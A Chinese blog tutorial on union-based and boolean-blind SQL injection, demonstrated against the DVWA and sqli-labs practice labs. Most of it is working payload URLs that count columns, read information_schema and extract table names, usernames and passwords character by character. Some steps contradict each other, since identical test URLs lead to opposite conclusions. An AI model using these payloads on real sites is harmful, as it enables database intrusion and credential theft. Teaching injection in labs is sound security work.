union(联合)注入和布尔注入

没有很快乐,也没有不快乐,好像不该这样,但也只能这样,成长也许如此,行于奔溃边缘又慢慢自愈吧。。。

----  网易云热评

一、union联合注入

1、select 1,2,3会生成一张临时表,表中的字段为查询的字段,内容也是查询的字段

 

2、select 1,2,3 union select 3,2,1,同样生成一张临时表,表中的字段为union左边查询的字段,内容为union左右两边查询的字段!

 

3、如果不想显示左边的查询数据,只要左边的查询结果为假,就不会显示数据,比如:and 1=2或user_id=-1,这样只显示右边的查询数据!

联合查询,需要保证两表的列数相同和列的数据类型相同

 

4、判断列数:由于输入order by 3报错

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 2 --

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 3 -- 

5、判断显示位:显示位是1和2,可以用MySQL语句来代替获取信息!

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,2' -- &Submit=Submit#

 

6、获取数据库名称和版本信息

version():获取数据库版本号

database():获取数据库名称

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select database(),version()' -- &Submit=Submit#

 

7、获取数据库中表的名字

获取第二个表名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1) -- &Submit=Submit#

 

8、获取所有的表名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- &Submit=Submit#

limit 0,1:第一个表名,guestbook

limit 1,1:第二个表名,users

......

limit n,1:第n个表名,......

group_concat():连接所有表名

 

9、获取user表中的字段名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'  -- &Submit=Submit#

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1) -- &Submit=Submit#

 

10、获取字段的内容

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select password,user from users limit 2,1 -- &Submit=Submit#

 

二、布尔注入

1、判断是否存在注入,输入’,报错说明存在注入

http://192.168.77.128/sqli/Less-8/?id=1

http://192.168.77.128/sqli/Less-8/?id=1' 报错,说明存在注入

 

2、判断字符注入还是数字注入

http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23

http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23 

都没有报错,说明是字符型

 

3、判断是否是存在布尔注入

http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23

http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23 

报错,说明存在布尔注入

 

4、id=1能正常显示信息,加入and语句后,只有同时满足条件才能正常显示,根据这个逻辑去确定最终的数据库长度

 

5、判断数据库名的长度

length():计算字符串长度

http://192.168.77.128/sqli/Less-8/?id=1' and length(database())=8%23 返回正常,说明该数据库名的长度为8

 

6、获取数据库名的每个字母

substr(database(),1,1):字符串的第1个字符,第一个1,起始位置,不是0开始,而是1开始;最后一个1,取字符的个数,1代表取1个字符

substr(database(),2,1):字符串的第2个字符

ascii():字符转换为对应的ASCII码值

ord() == ascii()

left:从左边开始取字符

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 %23 115代表字符s

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101 %23 101代表字符e

http://192.168.77.128/sqli/Less-8/?id=1' and left(database(),2)='se' %23

最后确定数据的名字为security

 

7、获取表的名字

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23 

获取第一个表的第一个字符e

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23 

获取第一个表的第二个字符m

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 %23 

获取第二个表的第一个字符r

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101 %23 

获取第二个表的第二个字符e

 

8、获取user表的字段

http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^use' limit 0,1) %23 是否存在use开头的列

http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23 是否存在username开头的列

同样可以判断出password的列名

 

9、获取字段的内容

cast(username as char)将username转换成char类型,注意这里是cast函数(语法:cast(字段名 as 转换的类型 ))

ifnull(expr1,expr2)函数的语法为如果 expr1 不是null,ifnull() 返回 expr1,否则它返回 expr2。

0x20是空格的ascii码的十六进制表示。

mid()函数截取字符串一部分,mid(str,start,length)从位置start开始,截取str字符串的length位。

ord()函数同ascii(),将字符转为ascii值。

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 %23  

获取username字段的第一个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),2,1))=117 %23 

获取username字段的第一个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))=65 %23 

获取username字段的第二个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),2,1))=110 %23  

获取username字段的第二个数据的第二个字符

Angelina

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

web安全工具库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值